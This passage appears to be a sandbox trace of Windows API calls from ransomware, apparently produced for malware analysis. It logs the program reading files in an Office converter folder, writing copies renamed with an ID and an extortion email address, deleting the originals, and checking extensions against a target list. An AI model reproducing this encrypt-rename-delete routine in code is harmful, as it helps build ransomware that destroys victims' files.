Shared\\TextConv\\MSCONV97.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.218] GetLastError () returned 0x0 [0225.218] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x23d78, lpOverlapped=0x0) returned 1 [0225.284] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x23d80, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x23d80, lpOverlapped=0x0) returned 1 [0225.287] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.287] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.287] SetEndOfFile (hFile=0x184) returned 1 [0225.287] CloseHandle (hObject=0x184) returned 1 [0225.288] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.288] SetEndOfFile (hFile=0x16c) returned 1 [0225.289] CloseHandle (hObject=0x16c) returned 1 [0225.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.290] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\msconv97.dll")) returned 1 [0225.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.290] lstrlenW (lpString=".doc") returned 4 [0225.290] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.290] lstrlenW (lpString=".docx") returned 5 [0225.290] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0225.290] lstrlenW (lpString=".pdf") returned 4 [0225.290] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.290] lstrlenW (lpString=".xls") returned 4 [0225.290] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.290] lstrlenW (lpString=".xlsx") returned 5 [0225.290] lstrcmpiW (lpString1=".xlsx", lpString2="7.DLL") returned -1 [0225.290] lstrlenW (lpString=".ppt") returned 4 [0225.290] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.290] lstrlenW (lpString=".zip") returned 4 [0225.291] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.291] lstrlenW (lpString=".rar") returned 4 [0225.291] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.291] lstrlenW (lpString=".bz2") returned 4 [0225.291] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.291] lstrlenW (lpString=".7z") returned 3 [0225.291] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.291] lstrlenW (lpString=".dbf") returned 4 [0225.291] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.291] lstrlenW (lpString=".1cd") returned 4 [0225.291] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.291] lstrlenW (lpString=".jpg") returned 4 [0225.291] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.291] lstrlenW (lpString=".doc") returned 4 [0225.291] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0225.291] lstrlenW (lpString=".docx") returned 5 [0225.291] lstrcmpiW (lpString1=".docx", lpString2="7.DLL") returned -1 [0225.291] lstrlenW (lpString=".pdf") returned 4 [0225.291] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0225.291] lstrlenW (lpString=".xls") returned 4 [0225.291] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0225.291] lstrlenW (lpString=".xlsx") returned 5 [0225.291] lstrcmpiW (lpString1=".xlsx", lpString2="7.DLL") returned -1 [0225.291] lstrlenW (lpString=".ppt") returned 4 [0225.291] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0225.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.291] lstrlenW (lpString=".zip") returned 4 [0225.292] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0225.292] lstrlenW (lpString=".rar") returned 4 [0225.292] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0225.292] lstrlenW (lpString=".bz2") returned 4 [0225.292] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0225.292] lstrlenW (lpString=".7z") returned 3 [0225.292] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0225.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.292] lstrlenW (lpString=".dbf") returned 4 [0225.292] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0225.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.292] lstrlenW (lpString=".1cd") returned 4 [0225.292] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0225.292] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\MSCONV97.DLL") returned 68 [0225.292] lstrlenW (lpString=".jpg") returned 4 [0225.292] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0225.292] lstrcmpiW (lpString1=".CNV", lpString2=".AUF") returned 1 [0225.292] lstrlenW (lpString="RECOVR32.CNV") returned 12 [0225.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.293] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=36712) returned 1 [0225.293] CloseHandle (hObject=0x16c) returned 1 [0225.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 0x20 [0225.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.293] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.293] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.294] GetLastError () returned 0x0 [0225.294] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x8f68, lpOverlapped=0x0) returned 1 [0225.308] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x8f70, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x8f70, lpOverlapped=0x0) returned 1 [0225.309] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.309] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.309] SetEndOfFile (hFile=0x184) returned 1 [0225.309] CloseHandle (hObject=0x184) returned 1 [0225.309] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.309] SetEndOfFile (hFile=0x16c) returned 1 [0225.310] CloseHandle (hObject=0x16c) returned 1 [0225.310] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.310] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\recovr32.cnv")) returned 1 [0225.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.311] lstrlenW (lpString=".doc") returned 4 [0225.311] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0225.311] lstrlenW (lpString=".docx") returned 5 [0225.311] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0225.311] lstrlenW (lpString=".pdf") returned 4 [0225.311] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0225.311] lstrlenW (lpString=".xls") returned 4 [0225.311] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0225.311] lstrlenW (lpString=".xlsx") returned 5 [0225.311] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0225.311] lstrlenW (lpString=".ppt") returned 4 [0225.311] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0225.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.311] lstrlenW (lpString=".zip") returned 4 [0225.311] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0225.311] lstrlenW (lpString=".rar") returned 4 [0225.311] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0225.311] lstrlenW (lpString=".bz2") returned 4 [0225.311] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0225.311] lstrlenW (lpString=".7z") returned 3 [0225.311] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0225.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.311] lstrlenW (lpString=".dbf") returned 4 [0225.311] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.312] lstrlenW (lpString=".1cd") returned 4 [0225.312] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0225.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.312] lstrlenW (lpString=".jpg") returned 4 [0225.312] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.312] lstrlenW (lpString=".doc") returned 4 [0225.312] lstrcmpiW (lpString1=".doc", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString=".docx") returned 5 [0225.312] lstrcmpiW (lpString1=".docx", lpString2="2.CNV") returned -1 [0225.312] lstrlenW (lpString=".pdf") returned 4 [0225.312] lstrcmpiW (lpString1=".pdf", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString=".xls") returned 4 [0225.312] lstrcmpiW (lpString1=".xls", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString=".xlsx") returned 5 [0225.312] lstrcmpiW (lpString1=".xlsx", lpString2="2.CNV") returned -1 [0225.312] lstrlenW (lpString=".ppt") returned 4 [0225.312] lstrcmpiW (lpString1=".ppt", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.312] lstrlenW (lpString=".zip") returned 4 [0225.312] lstrcmpiW (lpString1=".zip", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString=".rar") returned 4 [0225.312] lstrcmpiW (lpString1=".rar", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString=".bz2") returned 4 [0225.312] lstrcmpiW (lpString1=".bz2", lpString2=".CNV") returned -1 [0225.312] lstrlenW (lpString=".7z") returned 3 [0225.312] lstrcmpiW (lpString1=".7z", lpString2="CNV") returned -1 [0225.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.312] lstrlenW (lpString=".dbf") returned 4 [0225.312] lstrcmpiW (lpString1=".dbf", lpString2=".CNV") returned 1 [0225.312] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.312] lstrlenW (lpString=".1cd") returned 4 [0225.313] lstrcmpiW (lpString1=".1cd", lpString2=".CNV") returned -1 [0225.313] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RECOVR32.CNV") returned 68 [0225.313] lstrlenW (lpString=".jpg") returned 4 [0225.313] lstrcmpiW (lpString1=".jpg", lpString2=".CNV") returned 1 [0225.313] lstrcmpiW (lpString1=".cnv", lpString2=".AUF") returned 1 [0225.313] lstrlenW (lpString="Wks9Pxy.cnv") returned 11 [0225.313] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.317] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=57248) returned 1 [0225.317] CloseHandle (hObject=0x16c) returned 1 [0225.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 0x20 [0225.317] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.317] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.317] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.317] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.318] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.318] GetLastError () returned 0x0 [0225.318] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xdfa0, lpOverlapped=0x0) returned 1 [0225.386] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xdfb0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xdfb0, lpOverlapped=0x0) returned 1 [0225.387] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.387] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.388] SetEndOfFile (hFile=0x184) returned 1 [0225.388] CloseHandle (hObject=0x184) returned 1 [0225.388] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.388] SetEndOfFile (hFile=0x16c) returned 1 [0225.389] CloseHandle (hObject=0x16c) returned 1 [0225.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.389] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wks9pxy.cnv")) returned 1 [0225.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.390] lstrlenW (lpString=".doc") returned 4 [0225.390] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0225.390] lstrlenW (lpString=".docx") returned 5 [0225.390] lstrcmpiW (lpString1=".docx", lpString2="y.cnv") returned -1 [0225.390] lstrlenW (lpString=".pdf") returned 4 [0225.390] lstrcmpiW (lpString1=".pdf", lpString2=".cnv") returned 1 [0225.390] lstrlenW (lpString=".xls") returned 4 [0225.390] lstrcmpiW (lpString1=".xls", lpString2=".cnv") returned 1 [0225.390] lstrlenW (lpString=".xlsx") returned 5 [0225.390] lstrcmpiW (lpString1=".xlsx", lpString2="y.cnv") returned -1 [0225.390] lstrlenW (lpString=".ppt") returned 4 [0225.390] lstrcmpiW (lpString1=".ppt", lpString2=".cnv") returned 1 [0225.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.390] lstrlenW (lpString=".zip") returned 4 [0225.390] lstrcmpiW (lpString1=".zip", lpString2=".cnv") returned 1 [0225.390] lstrlenW (lpString=".rar") returned 4 [0225.390] lstrcmpiW (lpString1=".rar", lpString2=".cnv") returned 1 [0225.390] lstrlenW (lpString=".bz2") returned 4 [0225.390] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0225.390] lstrlenW (lpString=".7z") returned 3 [0225.390] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0225.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.390] lstrlenW (lpString=".dbf") returned 4 [0225.390] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0225.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.390] lstrlenW (lpString=".1cd") returned 4 [0225.390] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0225.390] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.390] lstrlenW (lpString=".jpg") returned 4 [0225.390] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0225.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.391] lstrlenW (lpString=".doc") returned 4 [0225.391] lstrcmpiW (lpString1=".doc", lpString2=".cnv") returned 1 [0225.391] lstrlenW (lpString=".docx") returned 5 [0225.391] lstrcmpiW (lpString1=".docx", lpString2="y.cnv") returned -1 [0225.391] lstrlenW (lpString=".pdf") returned 4 [0225.391] lstrcmpiW (lpString1=".pdf", lpString2=".cnv") returned 1 [0225.391] lstrlenW (lpString=".xls") returned 4 [0225.391] lstrcmpiW (lpString1=".xls", lpString2=".cnv") returned 1 [0225.391] lstrlenW (lpString=".xlsx") returned 5 [0225.391] lstrcmpiW (lpString1=".xlsx", lpString2="y.cnv") returned -1 [0225.391] lstrlenW (lpString=".ppt") returned 4 [0225.391] lstrcmpiW (lpString1=".ppt", lpString2=".cnv") returned 1 [0225.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.391] lstrlenW (lpString=".zip") returned 4 [0225.391] lstrcmpiW (lpString1=".zip", lpString2=".cnv") returned 1 [0225.391] lstrlenW (lpString=".rar") returned 4 [0225.391] lstrcmpiW (lpString1=".rar", lpString2=".cnv") returned 1 [0225.391] lstrlenW (lpString=".bz2") returned 4 [0225.391] lstrcmpiW (lpString1=".bz2", lpString2=".cnv") returned -1 [0225.391] lstrlenW (lpString=".7z") returned 3 [0225.391] lstrcmpiW (lpString1=".7z", lpString2="cnv") returned -1 [0225.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.391] lstrlenW (lpString=".dbf") returned 4 [0225.391] lstrcmpiW (lpString1=".dbf", lpString2=".cnv") returned 1 [0225.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.391] lstrlenW (lpString=".1cd") returned 4 [0225.391] lstrcmpiW (lpString1=".1cd", lpString2=".cnv") returned -1 [0225.391] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\Wks9Pxy.cnv") returned 67 [0225.391] lstrlenW (lpString=".jpg") returned 4 [0225.391] lstrcmpiW (lpString1=".jpg", lpString2=".cnv") returned 1 [0225.391] lstrcmpiW (lpString1=".CNV", lpString2=".AUF") returned 1 [0225.391] lstrlenW (lpString="WPFT532.CNV") returned 11 [0225.391] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.392] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=196976) returned 1 [0225.392] CloseHandle (hObject=0x16c) returned 1 [0225.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv")) returned 0x20 [0225.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.392] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.392] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.393] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.393] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\WPFT532.CNV.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\wpft532.cnv.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.393] GetLastError () returned 0x0 [0225.393] ReadFile (in: hFile=0x16c, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x30170, lpOverlapped=0x0) returned 1 [0225.462] WriteFile (in: hFile=0x184, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x30180, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, 